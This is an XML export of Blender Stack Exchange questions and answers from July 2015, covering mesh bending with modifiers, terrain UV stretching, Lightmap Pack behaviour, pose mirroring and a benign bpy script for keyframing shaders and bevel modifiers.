  <row Id="34598" PostTypeId="1" AcceptedAnswerId="34599" CreationDate="2015-07-27T11:14:07.853" Score="15" ViewCount="41901" Body="&lt;p&gt;I'd like to curve my object, but I'm considering two options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first one is to make the object up with lots of vertices, like a sphere can be. The second is to apply some kind of modifier curve to a straight mesh, as I've understood there is such a possibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an awesome pen drawing of what I'd like to achieve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tfvzm.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tfvzm.jpg&quot; alt=&quot;Super cool curvy screen boomerang to throw at people&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and here's my current even more awesome result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TGMaq.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TGMaq.png&quot; alt=&quot;current totally not curved render&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather non-awesomely, they don't quite match. So if someone would kindly point me to the correct method to achieving a nice-looking solution with relatively low polygons, I'd be much enlightened&lt;/p&gt;&#xA;" OwnerUserId="2862" LastEditorUserId="2217" LastEditDate="2015-07-27T15:58:26.337" LastActivityDate="2020-01-18T20:31:13.197" Title="How to curve my mesh" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;workflow&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="34599" PostTypeId="2" ParentId="34598" CreationDate="2015-07-27T11:45:26.780" Score="10" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Eeli0.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Eeli0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add some  extra vertical loopcuts in your mesh, then select the middle loopcut. Turn on the proportional editing tool (&lt;kbd&gt;O&lt;/kbd&gt;) in edit mode and select the sphere falloff, then grab (&lt;kbd&gt;G&lt;/kbd&gt;) it over the axis (in my case the Y). Make sure the proportional size is bigger than the object (scroll your mousewheel).You will see a circle that is the proportional size. After that you can add a subdivision modifier.&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="7797" LastEditDate="2015-07-27T13:07:19.923" LastActivityDate="2015-07-27T13:07:19.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34600" PostTypeId="1" AcceptedAnswerId="34605" CreationDate="2015-07-27T11:50:04.673" Score="1" ViewCount="962" Body="&lt;p&gt;I haven't thought of it before, but is there a way to map a terrain evenly?&#xA;What I would do is subdivide a plane, asign to it a texture and then sculpt it to make it uniform. But, from the sculpting process the texture suffers as a result because it stretches as I sculpt. Here's what I mean (These are low poly examples just for demonstration, but with high poly count they can be made to look the same, but the texture suffers) - &#xA;What I do - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fyCVR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fyCVR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I think should be done - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/alh1i.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/alh1i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I do it (image 3) if the terrain was flat, the texture will be evenly mapped along the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7UiDb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7UiDb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on a bumpy terrain the texture will stretch (Image 4)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SgAZe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SgAZe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That wouldn't happen on an even topology (image 2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a topology issue or a mapping issue? Is there a solution for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note - I want to map a terrain without squishing and stretching at all. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2015-07-27T12:13:03.243" LastActivityDate="2015-07-27T17:32:27.017" Title="Mapping a terrain evenly" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;topology&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34601" PostTypeId="2" ParentId="34598" CreationDate="2015-07-27T11:53:42.940" Score="10" Body="&lt;p&gt;To curve your mesh I would suggest to use the &lt;strong&gt;SimpleDeform (Bend) modifier&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1Yi6l.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Yi6l.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a modifier will not help you to lower the number of polygons of you object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe can help you to decide in an interactive way the resolution of your curve, but the final geometry will have the same number of polygons as if it was created by starting from a sphere's edge loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/seBPr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/seBPr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/i3Tqj.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/i3Tqj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/cno53.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cno53.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bigger number of transversal edge loops allows a higher resolution of the curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NuWrt.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NuWrt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Cys5F.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cys5F.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/376/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=376&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-07-27T14:58:36.230" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34602" PostTypeId="2" ParentId="34596" CreationDate="2015-07-27T11:55:09.500" Score="1" Body="&lt;p&gt;Here are some things to try :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;first make a copy of your the &lt;em&gt;config&lt;/em&gt; file.&lt;/li&gt;&#xA;&lt;li&gt;restore default settings.&lt;/li&gt;&#xA;&lt;li&gt;disable the user addons ( the ones you installed ).&lt;/li&gt;&#xA;&lt;li&gt;enable the console and read the log for any warnings or errors ( addons could cause that ).&lt;/li&gt;&#xA;&lt;li&gt;install fresh copy and don't transfer the settings ( in case the problem is not from your settings ) .&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-07-27T11:55:09.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34604" PostTypeId="2" ParentId="34341" CreationDate="2015-07-27T12:28:59.350" Score="3" Body="&lt;p&gt;The purpose of &lt;a href=&quot;http://www.blender.org/manual/render/blender_render/textures/mapping/uv/unwrapping.html?highlight=lightmap#lightmap-pack&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lightmap Pack&lt;/a&gt; command is to utilize as much UV space as possible by storing each face (individually) in the UV space bounds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must admit that &lt;strong&gt;I can't tell you how exactly the algorithm works&lt;/strong&gt;, but if you consider two similar objects that differ only from the lenght of a face (8.0 vs 8.1) you'll see different results of the lightmap pack command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the shortest parallelogram, each face is not &quot;enough&quot; different from the average face size of the object, so they are all stored with the same size in the UV. The proportion are not preserved. They are stretched to fill the boundaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DNaok.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DNaok.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In longest parallelogram, Blender sees instead that some faces are much longer than other (they just get over the alghorithm thereshold), so it is aware that they should need more space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that also in this case, despite what could it seem, proportions are not mantained. The Face is 2:8.1, while the UV is more 2:4. That's because Blender look for the best way to fill all the UV space, regardless proportion. This is a uv layout for Baking textures efficently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fW9EC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fW9EC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are interested in keeping the proportions, Lightmap pack is not the right UV unwrapping method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the brought example I would separate each face by extruding them individually by a 0 factor, than &lt;kbd&gt;Crtl&lt;/kbd&gt;+&lt;kbd&gt;i&lt;/kbd&gt; to invert seelction and &lt;kbd&gt;Canc&lt;/kbd&gt; to delete unwanted faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/smL61m.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/smL61m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/VmGUIm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VmGUIm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Than a simple Unwrap or Smart unwrap, should pack all the faces preserving their proportions in the UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1fOC6.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1fOC6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-27T20:06:04.477" LastActivityDate="2015-07-27T20:06:04.477" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="34605" PostTypeId="2" ParentId="34600" CreationDate="2015-07-27T12:31:23.770" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;That wouldn't happen on an even topology (image 2).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes it would.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sculpted surface has a larger area than the flat one, stretching is inevitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you wanna do is to sculpt the surface first, then texture it with Clone Texture brush and bake the texture. That way it won't be stretched on the model but instead as a result it will be stretched/squashed in UV editor (which is fine).&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-07-27T12:31:23.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34606" PostTypeId="2" ParentId="22872" CreationDate="2015-07-27T12:44:53.407" Score="0" Body="&lt;p&gt;The best choice for this kind of situation I think would be - Press &quot;U&quot; and then &quot;Project from view&quot;. And then adjust the mapping as you wish. It would be handy if you merge all the objects so that you can control the mapping on all of them at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two different sized planes - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SP9DC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SP9DC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastActivityDate="2015-07-27T12:44:53.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34607" PostTypeId="1" AcceptedAnswerId="34612" CreationDate="2015-07-27T13:05:34.117" Score="6" ViewCount="10165" Body="&lt;p&gt;I have a problem with flipping pose, I try to do the same thing as in &lt;a href=&quot;https://www.youtube.com/watch?v=_YdA-J27YPU&quot; rel=&quot;noreferrer&quot;&gt;this tutorial&lt;/a&gt;. On 3:25, he flips the pose by &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;, &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt;. In my case, &lt;strong&gt;it only flips some rotations&lt;/strong&gt;, but legs stay in the same place:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/viFHb.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/viFHb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did everything exactly like in this video.&#xA;I've tried to changing from &quot;ZYX Euler&quot; to &quot;Quaternion&quot; (saw this in some other question here) but it didn't helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my blend file: &lt;a href=&quot;http://www.pasteall.org/blend/37298&quot; rel=&quot;noreferrer&quot;&gt;http://www.pasteall.org/blend/37298&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8335" LastEditorUserId="3710" LastEditDate="2015-07-27T13:11:43.907" LastActivityDate="2016-08-31T09:03:27.177" Title="Can't flip pose properly" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34608" PostTypeId="2" ParentId="32976" CreationDate="2015-07-27T13:25:53.683" Score="1" Body="&lt;p&gt;The problem is that the two objects are not identical even though they have the same Verts, Edges, Faces but the faces order is different which will cause the transfer to fail ( i guess the order difference is because they where the same object then have been separated or some import / export operation ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ngAAc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ngAAc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;An attempt to place another object at the same location as the bad one:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the good object.&lt;/li&gt;&#xA;&lt;li&gt;place the cursor at center ( &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; ).&lt;/li&gt;&#xA;&lt;li&gt;duplicate and rotate around the &lt;strong&gt;cursor&lt;/strong&gt; -72 degrees on the Z axis ( &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt; -&gt;&lt;kbd&gt;R&lt;/kbd&gt;-&gt;&lt;kbd&gt;Z&lt;/kbd&gt;-&gt;&lt;strong&gt;&lt;em&gt;-72&lt;/em&gt;&lt;/strong&gt; ).&lt;/li&gt;&#xA;&lt;li&gt;place the cursor at the origin of the good object ( not the duplicate ).&lt;/li&gt;&#xA;&lt;li&gt;set the origin of the duplicate to the cursor.&lt;/li&gt;&#xA;&lt;li&gt;move the duplicate object to the position of the bad object &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-07-27T13:25:53.683" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34609" PostTypeId="1" AcceptedAnswerId="34610" CreationDate="2015-07-27T13:37:22.400" Score="2" ViewCount="479" Body="&lt;p&gt;Here is a simple demo script for keyframes on shaders and modifiers for multiple objects. In the future there will be much more going on, so I want to know if there is an easier way to do these kinds of things, or is all this scripting pretty much the right approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, near the end: &lt;code&gt;ee = cube.active_material.node_tree.nodes.get(&quot;Emission&quot;)&lt;/code&gt; what would I do if there were more than one Emission node? Can I name them? (there could be 100 materials) I wouldn't want to have to keep track of the order they are added if I can help it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what this sample script does:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dBhAo.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dBhAo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scripting the nodes is modified from @zeffii &lt;a href=&quot;https://blender.stackexchange.com/a/32162/5334&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def make_a_glo_mat(color_diff=None, color_emit=None, &#xA;                   emit_strength=None, frac=None):&#xA;&#xA;# modified from HERE: https://blender.stackexchange.com/a/32162/5334&#xA;&#xA;    glo_mat = bpy.data.materials.new('Glow_mat')&#xA;    glo_mat.use_nodes = True&#xA;    nodes = glo_mat.node_tree.nodes&#xA;&#xA;    # material output and diffuse nodes are present already, get them by name&#xA;    mat_output = nodes.get(&quot;Material Output&quot;)&#xA;    diffuse = nodes.get(&quot;Diffuse BSDF&quot;) # new(type='ShaderNodeBsdfDiffuse')&#xA;&#xA;    mix  = nodes.new(type='ShaderNodeMixShader')&#xA;    emit = nodes.new(type='ShaderNodeEmission')&#xA;&#xA;    mat_output.location =  300,    0&#xA;    mix.location        =    0,    0&#xA;    diffuse.location    = -200,   50&#xA;    emit.location       = -200, -100&#xA;&#xA;    # link mix_shader to material output&#xA;    a =        mix.outputs['Shader']&#xA;    b = mat_output.inputs['Surface']&#xA;    glo_mat.node_tree.links.new(a, b)&#xA;&#xA;    # link diffuse to mix&#xA;    a = diffuse.outputs['BSDF']&#xA;    b =     mix.inputs[1]  # 'Shader' is used twice, so you access via index.&#xA;    glo_mat.node_tree.links.new(a, b)&#xA;&#xA;    # link emissive to mix&#xA;    a = emit.outputs['Emission']&#xA;    b =  mix.inputs[2]&#xA;    glo_mat.node_tree.links.new(a, b)&#xA;&#xA;    if color_diff == None:&#xA;        color_diff = [0.8, 0.0, 0.2, 1.0]&#xA;    if color_emit == None:&#xA;        color_emit = [0.2, 0.8, 0.8, 1.0]&#xA;    if frac == None:&#xA;        frac = 0.5&#xA;    if emit_strength == None:&#xA;        emit_strength = 0.5&#xA;&#xA;    mix.inputs[0].default_value = frac  # factor&#xA;    diffuse.inputs['Color'].default_value = color_diff&#xA;    emit.inputs['Color'].default_value    = color_emit&#xA;    emit.inputs['Strength'].default_value = emit_strength&#xA;&#xA;    return glo_mat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This I wrote...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def make_funky_cube(radius=None, location=None):&#xA;&#xA;    if radius == None:&#xA;        radius = 1.0&#xA;    if location == None:&#xA;        location = np.array([6,6,4])*(np.random.random(3)+np.array([-0.5, -0.5, +0.25]))&#xA;&#xA;    ok = bpy.ops.mesh.primitive_cube_add(radius=radius, location=location)&#xA;&#xA;    oo = bpy.ops.object&#xA;    ao = bpy.context.active_object&#xA;&#xA;    oo.modifier_add(type='BEVEL')&#xA;    ao.modifiers[&quot;Bevel&quot;].width = 0.3&#xA;    ao.modifiers[&quot;Bevel&quot;].segments = 3&#xA;    oo.shade_smooth()&#xA;&#xA;    return ao&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this now works thanks to &lt;a href=&quot;https://blender.stackexchange.com/a/34592/5334&quot;&gt;this&lt;/a&gt; from @zeffii and &lt;a href=&quot;https://blender.stackexchange.com/questions/10553/keyframing-emission-shader-colour-strength-using-python/10574#10574&quot;&gt;this&lt;/a&gt; from @sambler .&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import numpy as np&#xA;scene = bpy.context.scene&#xA;scene.render.engine = 'CYCLES'&#xA;f_zero = np.array([[13, 22], [53, 62]])&#xA;sigma  = np.array([[4, 10], [4, 10]])&#xA;n_frames = 80&#xA;# make materials in Nodes (black is blue for now)&#xA;glo_red_mat = make_a_glo_mat(color_diff=[0.8, 0.2, 0.2, 1.0], &#xA;                             color_emit=[1.0, 1.0, 1.0, 1.0], &#xA;                             emit_strength=1.0, frac=0.5)&#xA;glo_blk_mat = make_a_glo_mat(color_diff=[0.0, 0.0, 0.5, 1.0], &#xA;                             color_emit=[1.0, 1.0, 1.0, 1.0], &#xA;                             emit_strength=1.0, frac=0.5)&#xA;# make two cubes &#xA;red_cube   = make_funky_cube(radius=1.0, location=(-2.0, 0.0 ,2.0))&#xA;black_cube = make_funky_cube(radius=1.0, location=(+2.0, 0.0, 2.0))&#xA;red_cube.active_material   = glo_red_mat&#xA;black_cube.active_material = glo_blk_mat&#xA;&#xA;bpy.context.scene.frame_end = n_frames&#xA;for i_frame in range(n_frames):&#xA;    a = np.exp(-(i_frame - f_zero)**2 / (2.*sigma**2))&#xA;    cubes = [red_cube, black_cube]&#xA;    things = a[0], a[1]&#xA;    for thing, cube in zip(things, cubes):&#xA;        s  = 1.00 + 0.40 * thing[0]&#xA;        bw = 0.05 + 0.25 * thing[0]&#xA;        e  = 0.20 + 0.80 * thing[1]&#xA;# got help HERE: https://blender.stackexchange.com/a/10574/5334&#xA;        cube.modifiers[&quot;Bevel&quot;].width = bw&#xA;        cube.scale = (s, s, s)&#xA;        cube.keyframe_insert(data_path='scale', frame = i_frame + 1, index=-1)&#xA;        cube.keyframe_insert(data_path='modifiers[&quot;Bevel&quot;].width', frame = i_frame + 1, index=-1)&#xA;        ee = cube.active_material.node_tree.nodes.get(&quot;Emission&quot;)&#xA;        ee.inputs[1].default_value = e&#xA;        ee.inputs[1].keyframe_insert(data_path=&quot;default_value&quot;, frame=i_frame+1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-07-27T17:05:18.550" Title="is there a way to streamline scripting these shaders and modifier keyframes?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="34610" PostTypeId="2" ParentId="34609" CreationDate="2015-07-27T13:52:02.990" Score="2" Body="&lt;p&gt;This borders on objective/subjective terrain, but there's facts!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can fully script shaders, and indeed there are scenarios where it takes a lot less time to write a script to take care of work which might otherwise be very tedious. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there's nothing stopping you from first tweaking your shader in a .blend file and then importing ( bpy.ops.wm.append) it later in your new projects and directly adjusting specific node values only via a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no 'better', it's a choice of weighing the advantages to either approach.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Linking Nodes&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Regarding specifically the scripting of shaders, if it's something you intend to do a lot then it might be worth using a '&lt;a href=&quot;https://github.com/zeffii/BlenderSciViz/blob/master/node_connection_grammar.py&quot; rel=&quot;nofollow&quot;&gt;connection grammar&lt;/a&gt;', (essentially a larger function which you can import and forget about) which takes care of the tedious node linking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks something like this (4 links!)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# using connection grammar    &#xA;connection_list = [&#xA;    'Geometry_0|Position &amp;gt; ADD_0|0',&#xA;    'ADD_0|Vector &amp;gt; DOT_0|0',&#xA;    'DOT_0|Value &amp;gt; ColorRamp|Fac',&#xA;    'ColorRamp|Color &amp;gt; Diffuse BSDF|Color'&#xA;]&#xA;&#xA;for link in connection_list:&#xA;    make_link(mat, link)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as opposed to something like (for just one link!):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = Geometry_0.outputs['Position']&#xA;b = ADD_0.inputs[0]&#xA;glo_mat.node_tree.links.new(a, b)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Adding modifiers&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;can also be done a different way, for instance here using a screw modifier, using a reference to the object. (another example of &lt;code&gt;.ops&lt;/code&gt; avoidance)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ao = bpy.context.active_object&#xA;screw = ao.modifiers.new(type='SCREW', name=&quot;screw&quot;)&#xA;screw.axis = 'X'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-27T17:05:18.550" LastActivityDate="2015-07-27T17:05:18.550" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34611" PostTypeId="1" AcceptedAnswerId="34738" CreationDate="2015-07-27T14:31:38.413" Score="5" ViewCount="1495" Body="&lt;p&gt;just wondering where to enable motion blur in the blender internal render engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's supposed to be in the render settings called &quot;sampled motion blur&quot; but I can't find it.&#xA;I am using Blender 2.74&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B89oIuOBdiu0RzBTSTc2Z1dXRzA/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;Download demo-file here.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="5376" LastEditDate="2015-07-29T08:44:53.627" LastActivityDate="2015-07-29T13:34:45.690" Title="Blender Internal: How do I add motion blur?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="34612" PostTypeId="2" ParentId="34607" CreationDate="2015-07-27T14:57:23.840" Score="4" Body="&lt;p&gt;Your IK foot bones are not named properly that's why blender doesn't know how to mirror your pose.&#xA;Give them IDENTICAL name with &lt;strong&gt;Left&lt;/strong&gt; and &lt;strong&gt;Right&lt;/strong&gt; prefixes (LeftFootIK, RightFootIK)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CfUGp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CfUGp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-07-27T14:57:23.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
